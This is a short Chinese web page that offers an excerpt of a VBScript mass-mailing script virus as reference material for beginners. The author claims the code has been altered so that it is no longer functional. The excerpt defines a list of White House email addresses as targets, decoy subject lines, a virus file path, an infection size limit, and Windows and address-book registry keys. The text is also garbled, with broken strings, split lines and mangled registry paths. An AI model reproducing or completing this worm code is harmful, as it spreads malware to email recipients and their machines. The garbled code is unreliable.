基于编程代码～攻击系统漏洞～～
说明！！！！！！！！！
以下是示例，经过金哥改动！！！已经不能生成脚本病毒了！！！～～
但是有参考意义～～
说明[killv。net]
出来比较久了，部分代码有错误，但对初学者还是有一定参考，$Top系列脚本病毒最初就是根据它发展而来的。
部分代码[killv。net]
On Error Resume Next
Dim vbscr, fso, w1, w2, MSWKEY, HCUW, Code_Str, Vbs_Str, Js_Str
Dim defpath, smailc, MAX_SIZE
Dim whb(), title(10)
smailc = 4
ReDim whb(smailc) ’白宫相关人员邮件名单＊＊＊＊
whb(0) = "president@whitehouse。
gov"
whb(1) = "vice。president@whitehouse。gov "
whb(2) = "first。lady@whitehouse。gov"
whb(3) = "mrs。
cheney@whitehouse。gov"
'发送邮件的主题
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"＊＊＊＊
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather。
Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness。
"
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:Readme。
html" ' 病毒文件
MAX_SIZE = 100000 ' 定义传染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINESoftWareMicrosoftWindows"
HCUW = "HKEY_CURRENT_USERSoftwareMicrosoftWAB"。
答：详情>>
